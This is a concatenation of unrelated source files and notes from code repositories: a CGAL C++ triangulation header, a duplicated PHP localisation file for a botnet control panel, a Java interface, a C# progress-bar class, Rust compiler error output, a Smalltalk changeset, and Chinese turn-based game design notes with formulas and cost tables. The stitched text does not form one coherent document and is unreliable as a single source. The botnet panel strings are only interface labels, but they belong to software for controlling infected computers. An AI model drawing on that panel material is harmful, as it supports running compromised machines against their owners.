Side_of_oriented_sphere_3 side_of_oriented_sphere_3_object() const
{
typename Exact_traits::Side_of_oriented_sphere_3 pe = Delaunay_traits_e.side_of_oriented_sphere_3_object();
typename Filtering_traits::Side_of_oriented_sphere_3 pf = Delaunay_traits_f.side_of_oriented_sphere_3_object();
return Side_of_oriented_sphere_3(pe, pf);
}
Compare_distance_3 compare_distance_3_object() const
{
typename Exact_traits::Compare_distance_3 pe = Delaunay_traits_e.compare_distance_3_object();
typename Filtering_traits::Compare_distance_3 pf = Delaunay_traits_f.compare_distance_3_object();
return Compare_distance_3(pe, pf);
}
Coplanar_orientation_3 coplanar_orientation_3_object() const
{
typename Exact_traits::Coplanar_orientation_3 pe = Delaunay_traits_e.coplanar_orientation_3_object();
typename Filtering_traits::Coplanar_orientation_3 pf = Delaunay_traits_f.coplanar_orientation_3_object();
return Coplanar_orientation_3(pe, pf);
}
Coplanar_side_of_bounded_circle_3 coplanar_side_of_bounded_circle_3_object() const
{
typename Exact_traits::Coplanar_side_of_bounded_circle_3 pe = Delaunay_traits_e.coplanar_side_of_bounded_circle_3_object();
typename Filtering_traits::Coplanar_side_of_bounded_circle_3 pf = Delaunay_traits_f.coplanar_side_of_bounded_circle_3_object();
return Coplanar_side_of_bounded_circle_3(pe, pf);
}
Side_of_bounded_sphere_3 side_of_bounded_sphere_3_object() const
{
typename Exact_traits::Side_of_bounded_sphere_3 pe = Delaunay_traits_e.side_of_bounded_sphere_3_object();
typename Filtering_traits::Side_of_bounded_sphere_3 pf = Delaunay_traits_f.side_of_bounded_sphere_3_object();
return Side_of_bounded_sphere_3(pe, pf);
}
protected:
Exact_traits Delaunay_traits_e;
Filtering_traits Delaunay_traits_f;
};
template <class K_,
class Off_ = CGAL::Periodic_3_offset_3,
bool Has_static_filters_ = internal::Has_static_filters<K_>::value >
class Periodic_3_Delaunay_triangulation_filtered_traits_3;
} //namespace CGAL
#include <CGAL/internal/Periodic_3_Delaunay_triangulation_statically_filtered_traits_3.h>
namespace CGAL {
template<class K_, class Off_>
class Periodic_3_Delaunay_triangulation_filtered_traits_3<K_, Off_, false>
: public Periodic_3_Delaunay_triangulation_filtered_traits_base_3<K_, Off_>
{
typedef Periodic_3_Delaunay_triangulation_filtered_traits_base_3<K_, Off_> Base;
public:
typedef K_ Kernel;
typedef typename Kernel::Iso_cuboid_3 Iso_cuboid_3;
Periodic_3_Delaunay_triangulation_filtered_traits_3(const Iso_cuboid_3& domain,
const Kernel& k)
: Base(domain, k)
{ }
};
template<class K_, class Off_>
class Periodic_3_Delaunay_triangulation_filtered_traits_3<K_, Off_, true>
: public Periodic_3_Delaunay_triangulation_statically_filtered_traits_3<K_, Off_>
{
typedef Periodic_3_Delaunay_triangulation_statically_filtered_traits_3<K_, Off_> Base;
public:
typedef K_ Kernel;
typedef typename Kernel::Iso_cuboid_3 Iso_cuboid_3;
Periodic_3_Delaunay_triangulation_filtered_traits_3(const Iso_cuboid_3& domain,
const Kernel& k)
: Base(domain, k)
{ }
};
} //namespace CGAL
#endif // CGAL_PERIODIC_3_DELAUNAY_TRIANGULATION_FILTERED_TRAITS_3_H
|
{
"pile_set_name": "Github"
}
|
<?php if(!defined('__CP__'))die();
define('LNG_BOTNET', 'Bots');
define('LNG_BOTNET_BOTSACTION', 'Bots action:');
//Фильтр.
define('LNG_BOTNET_FILTER_TITLE', 'Filter');
define('LNG_BOTNET_FILTER_BOTS', 'Bots:');
define('LNG_BOTNET_FILTER_BOTNETS', 'Botnets:');
define('LNG_BOTNET_FILTER_IPS', 'IP-addresses:');
define('LNG_BOTNET_FILTER_COUNTRIES', 'Countries:');
define('LNG_BOTNET_FILTER_ALL', '-');
define('LNG_BOTNET_FILTER_NAT', 'NAT status:');
define('LNG_BOTNET_FILTER_NAT_OUTSIDE', 'Outside NAT');
define('LNG_BOTNET_FILTER_NAT_INSIDE', 'Inside NAT');
define('LNG_BOTNET_FILTER_ONLINE', 'Only online bots:');
define('LNG_BOTNET_FILTER_ONLINE_ONLINE', 'Yes');
define('LNG_BOTNET_FILTER_ONLINE_OFFLINE', 'No');
define('LNG_BOTNET_FILTER_NEW', 'Only new bots:');
define('LNG_BOTNET_FILTER_NEW_TRUE', 'Yes');
define('LNG_BOTNET_FILTER_NEW_FALSE', 'No');
define('LNG_BOTNET_FILTER_USED', 'Used status:');
define('LNG_BOTNET_FILTER_USED_TRUE', 'Used');
define('LNG_BOTNET_FILTER_USED_FALSE', 'Not used');
define('LNG_BOTNET_FILTER_COMMENT', 'Comment:');
define('LNG_BOTNET_FILTER_COMMENT_TRUE', 'Exists');
define('LNG_BOTNET_FILTER_COMMENT_FALSE', 'Not exists');
define('LNG_BOTNET_FILTER_RESET', 'Reset form');
define('LNG_BOTNET_FILTER_SUBMIT', 'Accept');
//Список.
define('LNG_BOTNET_LIST', 'Result (%s):');
define('LNG_BOTNET_LIST_BOTID', 'Bot ID');
define('LNG_BOTNET_LIST_BOTNET', 'Botnet');
define('LNG_BOTNET_LIST_VERSION', 'Version');
define('LNG_BOTNET_LIST_IPV4', 'IPv4');
define('LNG_BOTNET_LIST_CONTRY', 'Country');
define('LNG_BOTNET_LIST_ONLINETIME', 'Online time');
define('LNG_BOTNET_LIST_LATENCY', 'Latency');
define('LNG_BOTNET_LIST_COMMENT', 'Comment');
define('LNG_BOTNET_LIST_EMPTY', '-- Empty --');
?>
|
{
"pile_set_name": "Github"
}
|
<?php if(!defined('__CP__'))die();
define('LNG_BOTNET', 'Bots');
define('LNG_BOTNET_BOTSACTION', 'Bots action:');
//Фильтр.
define('LNG_BOTNET_FILTER_TITLE', 'Filter');
define('LNG_BOTNET_FILTER_BOTS', 'Bots:');
define('LNG_BOTNET_FILTER_BOTNETS', 'Botnets:');
define('LNG_BOTNET_FILTER_IPS', 'IP-addresses:');
define('LNG_BOTNET_FILTER_COUNTRIES', 'Countries:');
define('LNG_BOTNET_FILTER_ALL', '-');
define('LNG_BOTNET_FILTER_NAT', 'NAT status:');
define('LNG_BOTNET_FILTER_NAT_OUTSIDE', 'Outside NAT');
define('LNG_BOTNET_FILTER_NAT_INSIDE', 'Inside NAT');
define('LNG_BOTNET_FILTER_ONLINE', 'Only online bots:');
define('LNG_BOTNET_FILTER_ONLINE_ONLINE', 'Yes');
define('LNG_BOTNET_FILTER_ONLINE_OFFLINE', 'No');
define('LNG_BOTNET_FILTER_NEW', 'Only new bots:');
define('LNG_BOTNET_FILTER_NEW_TRUE', 'Yes');
define('LNG_BOTNET_FILTER_NEW_FALSE', 'No');
define('LNG_BOTNET_FILTER_USED', 'Used status:');
define('LNG_BOTNET_FILTER_USED_TRUE', 'Used');
define('LNG_BOTNET_FILTER_USED_FALSE', 'Not used');
define('LNG_BOTNET_FILTER_COMMENT', 'Comment:');
define('LNG_BOTNET_FILTER_COMMENT_TRUE', 'Exists');
define('LNG_BOTNET_FILTER_COMMENT_FALSE', 'Not exists');
define('LNG_BOTNET_FILTER_RESET', 'Reset form');
define('LNG_BOTNET_FILTER_SUBMIT', 'Accept');
//Список.
define('LNG_BOTNET_LIST', 'Result (%s):');
define('LNG_BOTNET_LIST_BOTID', 'Bot ID');
define('LNG_BOTNET_LIST_BOTNET', 'Botnet');
define('LNG_BOTNET_LIST_VERSION', 'Version');
define('LNG_BOTNET_LIST_IPV4', 'IPv4');
define('LNG_BOTNET_LIST_CONTRY', 'Country');
define('LNG_BOTNET_LIST_ONLINETIME', 'Online time');
define('LNG_BOTNET_LIST_LATENCY', 'Latency');
define('LNG_BOTNET_LIST_COMMENT', 'Comment');
define('LNG_BOTNET_LIST_EMPTY', '-- Empty --');
?>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2011-2018, Meituan Dianping. All Rights Reserved.
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.dianping.cat.report;
import java.io.IOException;
import java.util.Collection;
import java.util.Date;
public interface ReportBucket {
/**
* Close bucket and release component instance
*
* @throws IOException
*/
public void close() throws IOException;
/**
* Find data by given id in the bucket. return null if not found.
*
* @param id
* @return data for given id, null if not found
* @throws IOException
*/
public String findById(String id) throws IOException;
/**
* Flush the buffered data in the bucket if have.
*
* @throws IOException
*/
public void flush() throws IOException;
/**
* Return all ids in the bucket.
*
* @return
*/
public Collection<String> getIds();
/**
* Initialize the bucket after its creation.
*
* @param name
* @param timestamp
* @param index
* @throws IOException
*/
public void initialize(String name, Date timestamp, int index) throws IOException;
/**
* store the data by id into the bucket.
*
* @param id
* @param data
* @return true means the data was stored in the bucket, otherwise false.
* @throws IOException
*/
public boolean storeById(String id, String data) throws IOException;
}
|
{
"pile_set_name": "Github"
}
|
using Loon.Utils;
namespace Loon.Action.Sprite.Node {
public class LNProgressBar : LNSprite {
private float _percent;
private LNProgressBar.BarType _type;
public LNProgressBar() {
this._type = BarType.PROGRESS_BAR_LEFT;
}
public LNProgressBar(string fsName):base(fsName) {
this._type = BarType.PROGRESS_BAR_LEFT;
this._percent = 1f;
}
private float[] pos;
private float rotation;
private float[] scale;
public override void Draw(SpriteBatch batch) {
if (base._visible && (base._texture != null)) {
pos = base.ConvertToWorldPos();
rotation = base.ConvertToWorldRot();
scale = base.ConvertToWorldScale();
batch.SetColor(base._color.r, base._color.g, base._color.b,
base._alpha);
if (this._type == BarType.PROGRESS_BAR_LEFT) {
batch.Draw(_texture, pos[0], pos[1], _anchor.x, _anchor.y,
base._size_width, base._size_height, scale[0],
scale[1], MathUtils.ToDegrees(rotation), base._left,
base._top, base._orig_width * this._percent,
base._orig_height, _flipX, _flipY);
} else if (this._type == BarType.PROGRESS_BAR_RIGHT) {
int offsetX = ((int) (base._orig_width * (1f - this._percent)));
batch.Draw(_texture, pos[0] + offsetX, pos[1], _anchor.x,
_anchor.y, base._size_width, base._size_height,
scale[0], scale[1], MathUtils.ToDegrees(rotation),
((int) base._left) + offsetX, (int) base._top,
(int) (base._orig_width * this._percent),
(int) base._orig_height, _flipX, _flipY);
} else if (this._type == BarType.PROGRESS_BAR_TOP) {
batch.Draw(_texture, pos[0], pos[1], _anchor.x, _anchor.y,
base._size_width, base._size_height, scale[0],
scale[1], MathUtils.ToDegrees(rotation), base._left,
base._top, base._orig_width,
(base._orig_height * this._percent), _flipX, _flipY);
} else if (this._type == BarType.PROGRESS_BAR_BOTTOM) {
int offsetY = ((int) (base._orig_height * (1f - this._percent)));
batch.Draw(_texture, pos[0], pos[1] + offsetY, _anchor.x,
_anchor.y, base._size_width, base._size_height,
scale[0], scale[1], MathUtils.ToDegrees(rotation),
(int) base._left, ((int) base._top)
+ ((int) (base._orig_height * this._percent)),
(int) base._orig_width,
(int) (base._orig_height * this._percent), _flipX,
_flipY);
}
batch.ResetColor();
}
}
public void SetType(LNProgressBar.BarType type) {
this._type = type;
}
public float GetPercent() {
return this._percent;
}
public void SetPercent(float p) {
this._percent = p;
}
public enum BarType {
PROGRESS_BAR_LEFT, PROGRESS_BAR_RIGHT, PROGRESS_BAR_TOP, PROGRESS_BAR_BOTTOM
}
}}
|
{
"pile_set_name": "Github"
}
|
error: expected expression, found `+`
--> $DIR/expr-as-stmt.rs:7:9
|
LL | {2} + {2}
| --- ^ expected expression
| |
| help: parentheses are required to parse this as an expression: `({2})`
error: expected expression, found `+`
--> $DIR/expr-as-stmt.rs:12:9
|
LL | {2} + 2
| --- ^ expected expression
| |
| help: parentheses are required to parse this as an expression: `({2})`
error: expected expression, found `+`
--> $DIR/expr-as-stmt.rs:18:12
|
LL | { 42 } + foo;
| ------ ^ expected expression
| |
| help: parentheses are required to parse this as an expression: `({ 42 })`
error: expected expression, found `>`
--> $DIR/expr-as-stmt.rs:31:7
|
LL | } > 0
| ^ expected expression
|
help: parentheses are required to parse this as an expression
|
LL | (match x {
LL | _ => 1,
LL | }) > 0
|
error[E0308]: mismatched types
--> $DIR/expr-as-stmt.rs:7:6
|
LL | {2} + {2}
| ^ expected `()`, found integer
error[E0308]: mismatched types
--> $DIR/expr-as-stmt.rs:12:6
|
LL | {2} + 2
| ^ expected `()`, found integer
error[E0308]: mismatched types
--> $DIR/expr-as-stmt.rs:18:7
|
LL | { 42 } + foo;
| ^^ expected `()`, found integer
error[E0308]: mismatched types
--> $DIR/expr-as-stmt.rs:24:7
|
LL | { 3 } * 3
| ^ expected `()`, found integer
error[E0614]: type `{integer}` cannot be dereferenced
--> $DIR/expr-as-stmt.rs:24:11
|
LL | { 3 } * 3
| ----- ^^^
| |
| help: parentheses are required to parse this as an expression: `({ 3 })`
error: aborting due to 9 previous errors
Some errors have detailed explanations: E0308, E0614.
For more information about an error, try `rustc --explain E0308`.
|
{
"pile_set_name": "Github"
}
|
'From Cuis 5.0 [latest update: #4286] on 23 July 2020 at 3:34:20 pm'!
!PasteUpMorph methodsFor: 'submorphs-add/remove' stamp: 'jmv 7/23/2020 14:47:46'!
addMorph: aMorph centeredNear: aPoint
"Add the given morph to this world, attempting to keep its center as close to the given point possible while also keeping the it entirely within the bounds of this world."
| trialRect delta |
trialRect _ Rectangle center: aPoint extent: aMorph morphExtent.
delta _ trialRect amountToTranslateWithin: self displayBounds.
self addMorph: aMorph.
aMorph morphPositionInWorld: trialRect origin + delta.! !
!MenuMorph methodsFor: 'control' stamp: 'jmv 7/23/2020 15:25:53'!
popUpAdjacentTo: rightOrLeftPointInWorld from: sourceItem
"Present this menu at the given point under control of the given hand.
Used mostly for submenus."
| trialRect e |
popUpOwner _ sourceItem.
sourceItem world addMorphFront: self position: rightOrLeftPointInWorld first.
e _ self morphExtent.
trialRect _ rightOrLeftPointInWorld first extent: e.
trialRect right > sourceItem world morphWidth ifTrue: [
self morphPosition: rightOrLeftPointInWorld second - (e x@0)].
self fitInWorld.! !
!MenuMorph methodsFor: 'private' stamp: 'jmv 7/23/2020 15:01:17'!
fitInWorld
| delta trialRect |
trialRect _ Rectangle origin: self morphPosition extent: self morphExtent.
delta _ trialRect amountToTranslateWithin: owner displayBounds.
self morphPosition: trialRect origin + delta.! !
!PasteUpMorph reorganize!
('accessing' activeHand color: handlesKeyboard)
('alarms-scheduler' addAlarm:withArguments:for:at: removeAlarm:for:)
('caching' releaseCachedState)
('change reporting' addedMorph: invalidateDisplayRect:from: redrawNeeded removedMorph:)
('classification' isWorldMorph)
('drawing' drawOn:)
('dropping/grabbing' allowsFilesDrop allowsMorphDrop allowsSubmorphDrag dropFiles:)
('errors on draw' addKnownFailing: isKnownFailing: removeAllKnownFailing removeKnownFailing:)
('events' click:localPosition: keyStroke: mouseButton1Down:localPosition: windowEvent:)
('event handling testing' handlesMouseDown:)
('event handling' mouseButton2Activity wantsWindowEvent: windowEventHandler)
('geometry' displayBounds externalizeDisplayBounds: externalizeToWorld: fontPreferenceChanged internalizeFromWorld: morphPositionInWorld privateExtent:)
('initialization' clearCanvas clearWaitDelay defaultBorderColor defaultBorderWidth defaultColor)
('interaction loop' doOneCycleNow mainLoop runProcess)
('menu & halo' addCustomMenuItems:hand: addWorldHaloMenuItemsTo:hand: deleteBalloonTarget:)
('misc' backgroundImage backgroundImageData: buildMagnifiedBackgroundImage)
('printing' printOn:)
('project state' canvas firstHand hands handsDo: handsReverseDo: setCanvas: viewBox)
('stepping' startStepping:at:selector:stepTime: stopStepping:selector: stopSteppingMorph:)
('stepping and presenter' wantsSteps)
('structure' world)
('submorphs-accessing' allMorphsDo:)
('submorphs-add/remove' addMorph:centeredNear:)
('testing' is: isReallyVisible stepTime)
('world menu' bringWindowsFullOnscreen closeUnchangedWindows collapseAll collapseNonWindows deleteNonWindows findAChangeSorter: findAFileList: findAMessageNamesWindow: findATranscript: findAWindowSatisfying:orMakeOneUsing: findDirtyBrowsers: findDirtyWindows: findWindow: invokeWorldMenu restoreAll)
('world state' allNonWindowRelatedSubmorphs deleteAllHalos displayWorld displayWorldSafely doOneCycle doOneMinimalCycleNow fillRects: fullRepaintNeeded haloMorphs privateOuterDisplayWorld restoreDisplay whenUIinSafeState: worldState:)
('halos and balloon help' wantsHaloHandleWithSelector:inHalo:)
('object serialization' objectForDataStream:)
('windows' findATranscript)
('taskbar' hideTaskbar showTaskbar taskbar taskbarDeleted)
('defaul desktop' recreateDefaultDesktop tearDownDesktop)
('ui services' request:initialAnswer:orCancel: request:initialAnswer:verifying:do:orCancel:)
!
|
{
"pile_set_name": "Github"
}
|
进入战斗, 己方组5人 对方组5人
actor类型: 玩家 BB 电脑 其他玩家
战斗指令: 物理攻击, 法术攻击(单法 群法 封印), 吃药, 特技, 加buff, 加debuff
1. 每回合倒计时30s
2. 每个玩家发出自己的战斗指令到服务器, 服务器接收每个玩家发出的战斗指令, 排序, 伤害计算. 下发. 计算回合总时间,下发.
3. 服务器倒计时回合时间, 时间到,进入下一个回合倒计时.
4. 客户端收到回合时间,还有完整的战斗指令后, 本地进行动画播放. 播放后,等待服务器下一个回合倒计时.
5. 服务器客户端之间的延时
客户端战斗表现设计
战斗环境:
PVP 最多5V5 每个Actor可以召唤自己的宝宝
PVE 最多5V10 对方是NPC 或者 普通Actor
战斗分两组 自己组(SelfActors) 对方组(EnemyActors)
回合制战斗机制:
1. 回合开始,倒计时等待战斗指令的输入
2. 战斗指令进行排序
3. 上一回合的战斗指令处理
4. 本回合战斗指令处理
5. 回合结束,进入下一个回合
1. 攻击类
攻击类动画表现为 master移动到target进行攻击
状态机阶段:
非防御 防御
[普通攻击] 受击动作+普通受击效果 防御动作+防御效果
[攻击类技能] 受击动作+技能受击效果 防御动作+技能受击效果
是否连击 是否暴击 是否吸血
普通攻击 Y Y Y
攻击类技能 Y Y
攻击类技能也包括暴击
普通攻击时, 如果对方处于防御状态, 伤害减半
普通攻击时, 有可能出现连击, 暴击, 吸血, 被反震, 被反击, 击飞目标, 击倒目标
攻击技能流程:
攻击者 待战 -> 跑去 -> 攻击 -> 跑回 -> 待战
受击者 待战 受击 待战
2. 法术类
3. 法术攻击指令
技能表里的技能都是瞬时的 当前回合释放后处理
技能释放后,可能产生buff到target的身上,
每回合会对buff做统一处理 例如表现效果展示 , 计算血量 等等
每回合读完所有战斗指令 根据actor速度模拟战斗指令释放,计算结果
回合开始后,对战斗指令进行播放
回合结束, 只用退出播放就行了.
atk_skill = {
type = 'atk',
atk_anim = '',
combo,
group_kill,
buff_id,
base_damage,
is_suck_blood,
is_critical_atk,
}
cast_skill = {
type = 'cast',
cast_anim,
buff_id
}
buff = {
turn_count,
curr_turn,
buff_state_anim,
buff_props
}
播放攻击指令
待战-> 跑去-> 攻击 ->
读取攻击技能id, 是否有combo , 是否是群秒, 是否产生暴击, 是否吸血, 攻击效果, 是否会添加buff
添加buff的话, 添加后 调用buffOnStart
-> 跑回 -> 结束
播放施法指令
攻击指令
如果group_kill , 则有group_kill个完整攻击流程
攻击流程
每个攻击流程,如果有combo,则有combo次攻击动作
攻击动作
每次攻击动作触发一次伤害,每次攻击有可能吸血,反震,反击,防御,播放攻击动画等.
attack = {
master,
target,
skill_id,
}
物理攻击 : 连击 暴击 吸血 单体攻击 群体攻击 受击动画
普攻
法术物理攻击
法术攻击 : 法术连击 法术暴击 单法 群法 受击动画
封印 : 单封 群封 无受击
辅助 : 加血 单加 群加
特技 :
复杂动画:
后发制人
横扫千军
破釜沉舟
龙卷雨击
飞砂走石
漫天花雨
10级:灵力17 13
20级:灵力30 13
30级:灵力43 12
40级:灵力55 13
50级:灵力68 12
60级:灵力80 13
70级:灵力93 13
80级:灵力106 12
90级:灵力118 13
100级:灵力131 12
110级:灵力143 13
120级:灵力156 13
130级:灵力169 12
140级:灵力181 13
150级:灵力194
八、修炼公式:
修炼后伤害加成公式:an=1.02^n *(a+250)-250 ,其中a为原始伤害,n为修炼级数(n≤20)
以原始伤害a=400为例,修炼10级(n=10)后,an=1.219*(400+250)-250=542.3,增幅35.6%;修炼20级(n=20)后,an=1.486*(400+250)-250=715.9,增幅79.0%。
封系成功率提高公式:an = a*1.02^n
修炼后伤害减成公式(防御、抗法):an = 0.98^n *(a+250)-250
以原始伤害a=400为例,修炼10级(n=10)后an=281.1,减幅29.7%;修炼20级(n=20)后,an=183.9,减幅54.0%。
简评:1.02^20=1.486=148.6%,0.98^20=0.668=66.8%可见伤害和防御提升的效果是受控的,250和1.02/0.98都是调整因子,实现了公式的柔性。
十、固定伤害的法术公式:
普陀 五行术伤害=SKILL*3+50 ;紧箍咒伤害(每回合)=SKILL*1+10
龙宫 龙吟=SILL+10 ;减mp伤害=(skill+10)×0.8(霹雳三打提出更改)
地府 判官令=SKILL*3+75 ;毒伤害=初始对方气血最大值/10,持续SKILL*1
盘丝 勾魂=SKILL*3+对方当前HP*5% ;姐妹同心MP伤害=SKILL*5
摄魄=SKILL*3 吸取 SKILL*1.5自身补充
简评:因目前职业所限暂无研究。
封印
封印类法术成功率:
当技能等级小于对方等级时:
封法成功率={0.9^|技能等级-对方等级|}*60%
当技能等级大于对方等级时
封法成功率={0.98-0.38*0.975^(技能等级-对方等级)}
其中0.98几率上限系数,0.38表示几率的波动范围系数,0.975几率增加系数,0.9几率衰减系数。
修炼对封印的影响:
修炼影响=*(1±0.02)^|攻击方对应修炼等级-防御方对应修炼等级|-0.25*{1-(1±0.02)^|攻击方对应修炼等级-防御方对应修炼等级| }
由以上公式可以看出,基本的技能成功率为60%左右。当技能等级低于对方等级时,封印成功率由60%快速衰减。而技能等级高于对方等级时,随着技能等级的提高,每级别技能的增加效果越来越小,并存在几率上限。
12门派回门派技能坐标
大唐132,20
化生22,14
方寸72,106
女儿27,117
狮驼58,7
魔王81,37
盘丝174,72
地府40,58
龙宫72,37
天宫215,25
五庄15,13
普陀11,58
NPC坐标 (朝向:右下0、左下1、左上2、右上3)
龙窟二层 龙神(113,30) 朝向(右下)
龙窟三层 超级巫医(48,15) 朝向(右下)
龙窟六层 超级巫医(46,38) 朝向(左下)
龙窟七层 青灵玄女(68,41) 朝向(右上)
凤巢一层 辛发明(88,43) 朝向(左下)
凤巢三层 超级巫医(26,31) 朝向(右下)
凤巢六层 超级巫医(90,57) 朝向(左下)
凤巢七层 无心(87,46) 朝向(右下)
北俱芦洲 传送女娲(14,156) 朝向(右下)
女娲神迹 神殿守护者(45,36) 朝向(左下)
女娲神迹 超级巫医(88,58) 朝向(左下)
场景传送圈坐标
北俱芦洲(8,83)→龙窟一层(151,5)
北俱芦洲(82,152)→凤巢一层(78,66)
龙窟一层(154,4)→北俱芦洲(11,80)
龙窟一层(10,70)→龙窟二层(127,22)
龙窟二层(133,24)→龙窟一层(14,69)
龙窟二层(19,5)→龙窟三层(11,75)
龙窟三层(12,80)→龙窟二层(22,6)
龙窟三层(134,24)→龙窟四层(7,5)
龙窟四层(4,6)→龙窟三层(131,26)
龙窟四层(122,28)→龙窟五层(130,63)
龙窟五层(131,64)→龙窟四层(125,26)
龙窟五层(53,9)→龙窟六层(84,13)
龙窟六层(81,14)→龙窟五层(51,10)
龙窟六层(121,61)→龙窟七层(8,74)
龙窟七层(5,77)→龙窟六层(117,62)
凤巢一层(81,69)→北俱芦洲(85,149)
凤巢一层(46,4)→凤巢二层(40,65)
凤巢二层(44,68)→凤巢一层(48,6)
凤巢二层(125,43)→凤巢三层(13,55)
凤巢三层(10,57)→凤巢二层(122,45)
凤巢三层(124,3)→凤巢四层(15,57)
凤巢四层(11,59)→凤巢三层(120,5)
凤巢四层(76,69)→凤巢五层(77,6)
凤巢五层(74,3)→凤巢四层(71,65)
凤巢五层(116,69)→凤巢六层(6,7)
凤巢六层(125,45)→凤巢七层(6,40)
凤巢七层(2,36)→凤巢六层(122,42)
传送女娲(14,156)→女娲神迹(40,31)
神殿守护者(45,36)→北俱芦洲(13,148)
传送女娲:朝向(右下)
我是上古神殿的传送使者,无数守护者千万年来一直在神殿内看守着,进去的话可要先衡量一下自己的实力。
请送我进去。
我想了解一下神迹的事情。
我只是路过这里顺便瞻仰一下。
我想了解一下神迹的事情。
在中国的神话传说中,女娲是人类的始祖,至高无上的创世神。女娲神迹是颂扬其精神的所在,悬浮于极北端的天空之中,自北俱芦洲传达才可到达。近日神殿受到外来邪恶力量的冲击,试图进入的人都要经过考验才行。
一、 比满经验等级少1到5级拿80%经验。比满经验等级少6到10级拿70%经验。
比满经验等级少11到15级拿60%经验。比满经验等级少16到20级拿50%经验。
比满经验等级多11级以上开始掉经验,多11到15级时拿80%经验。
二、 经验获得按队伍人数相乘,单人获得基础经验,满五人获得基础经验×5,宝宝经验一致。
三、 野外练级地点受双倍、三倍影响,队员按自身条件获得相对应的经验。
例子:组队五人,队员等级比满经验等级多11级,开双倍,那么获得的经验=基础经验×80%(高11级拿80%经验)×5(队员人数)×2(双倍)。
四、 双击直达: 练级地点经验!A1
师门技能花费 返回目录
等级 经验 师门金钱
1 16 6
2 32 12
3 52 19
4 75 28
5 103 38
6 136 51
7 179 67
8 231 86
9 295 110
10 372 139
11 466 174
12 578 216
13 711 266
14 867 325
15 1049 393
16 1260 472
17 1503 563
18 1780 667
19 2096 786
20 2452 919
21 2854 1070
22 3304 1238
23 3807 1426
24 4364 1636
25 4983 1868
26 5664 2124
27 6415 2404
28 7238 2714
29 8138 3050
30 9120 3420
31 10188 3820
32 11347 4255
33 12602 4725
34 13959 5234
35 15423 5783
36 16998 6374
37 18692 7009
38 20508 7690
39 22452 8419
40 24532 9199
41 26753 10032
42 29121 10920
43 31642 11865
44 34323 12871
45 37169 13938
46 40188 15070
47 43388 16270
48 46773 17540
49 50352 18882
50 54132 20299
51 58120 21795
52 62324 23371
53 66750 25031
54 71407 26777
55 76303 28613
56 81444 30541
57 86840 32565
58 92500 34687
59 98430 36911
60 104640 39240
61 111136 41676
62 117931 44224
63 125031 46886
64 132444 49666
65 140183 52568
66 148253 55595
67 156666 58749
68 165430 62036
69 174556 65458
70 184052 69019
71 193930 72723
72 204198 76574
73 214868 80575
74 225948 84730
75 237449 89043
76 249383 93518
77 261760 98160
78 274589 102971
79 287884 107956
80 301652 113119
81 315908 118465
82 330662 123998
83 345924 129721
84 361708 135640
85 378023 141758
86 394882 148080
87 412297 154611
88 430280 161355
89 448844 168316
90 468000 175500
91 487760 182910
92 508137 190551
93 529145 198429
94 550796 206548
95 573103 214913
96 596078 223529
97 619735 232400
98 644088 241533
99 669149 250931
100 694932 260599
101 721452 270544
102 748722 280770
103 776755 291283
104 805566 302087
105 835169 313188
106 865579 324592
107 896809 336303
108 928876 348328
109 961792 360672
110 995572 373339
111 1030234 386337
112 1065190 399671
113 1102256 413346
114 1139649 427368
115 1177983 441743
116 1217273 456477
117 1256104 471576
118 1298787 487045
119 1341043 502891
120 1384320 519120
121 1428632 535737
122 1473999 552749
123 1520435 570163
124 1567957 587984
125 1616583 606218
126 1666328 624873
127 1717211 643954
128 1769248 663468
129 1822456 683421
130 1876852 703819
131 1932456 724671
132 1989284 745981
133 2047353 767757
134 2106682 790005
135 2167289 812733
136 2229192 835947
137 2292410 859653
138 2356960 883860
139 2422861 908573
140 2490132 933799
141 2558792 959547
142 2628860 985822
143 2700356 1012633
144 2773296 1039986
145 2847703 1067888
146 2923593 1096347
147 3000989 1125371
148 3079908 1154965
149 3160372 1185139
150 3242400 1215900
151 6652022 2494508
152 6822452 2558419
153 6996132 2623549
154 7173104 2689914
155 7353406 2757527
156 11305620 4239607
157 11586254 4344845
158 11872072 4452027
159 12163140 4561177
160 12459518 4672319
161 15033471 450041
162 15315219 4594563
162 15600468 4680138
164 15889236 4766769
165 16181550 4854465
166 16477425 4943226
167 16776885 5033064
168 17079954 5123985
169 17386650 5215995
170 17697000 5309100
171 24014692 7204407
172 24438308 7331490
173 24866880 7460064
174 25300432 7590129
175 25739000 7721700
176 32728255 9818475
177 33289095 9986727
178 33856310 10156893
179 34492930 10328979
180 40842000 12252600
辅助技能NPC学习消耗 返回目录
技能等级 经验 金钱 人气
1 2001 301 1
2 2008 308 1
3 2027 327 1
4 2064 364 1
5 2125 425 2
6 2216 516 2
7 2343 643 2
8 2512 812 2
9 2729 1029 2
10 3000 1300 3
11 3331 1631 3
12 3728 2028 3
13 4197 2497 3
14 4744 3044 3
15 5375 3675 4
16 6096 4396 4
17 6913 5213 4
18 7832 6132 4
19 8859 7159 4
20 10000 8300 5
21 11261 9561 5
22 12648 10948 5
23 14167 12467 5
24 15824 14124 5
25 17625 15925 6
26 19576 17876 6
27 21683 19983 6
28 23952 22252 6
29 26389 24689 6
30 29000 27300 7
31 31791 30091 7
32 34768 33068 7
33 37937 36237 7
34 41304 39604 7
35 44875 43175 8
36 48656 46956 8
37 52653 50953 8
38 56872 55172 8
39 61319 59619 8
40 66000 64300 9
场景 怪物等级 怪物类型 掉落物品 返回目录
东海湾 10 大海龟 (部分1级药品,宠物口粮)
沉船1层 10 巨蛙、大海龟 (0级武器,10级武器,部分1级药品)
沉船2层 10 巨蛙、海毛虫 (0级武器,10级武器,部分1级药品)
东海岩洞 10 大海龟、巨蛙、海毛虫 (0级武器,10级武器,部分1级药品)
江南野外 10 树怪、野猪 (10级防具,10级武器,部分1级药品)
大雁塔1层 10 赌徒、强盗、骷髅怪、羊头怪、蛤蟆精、狐狸精 (10级防具,20级武器,宠物口粮,天不老,血色茶花)
大雁塔2层 14 赌徒、强盗、羊头怪、狐狸精 (20级防具,20级武器,宠物口粮,仙狐涎,麝香)
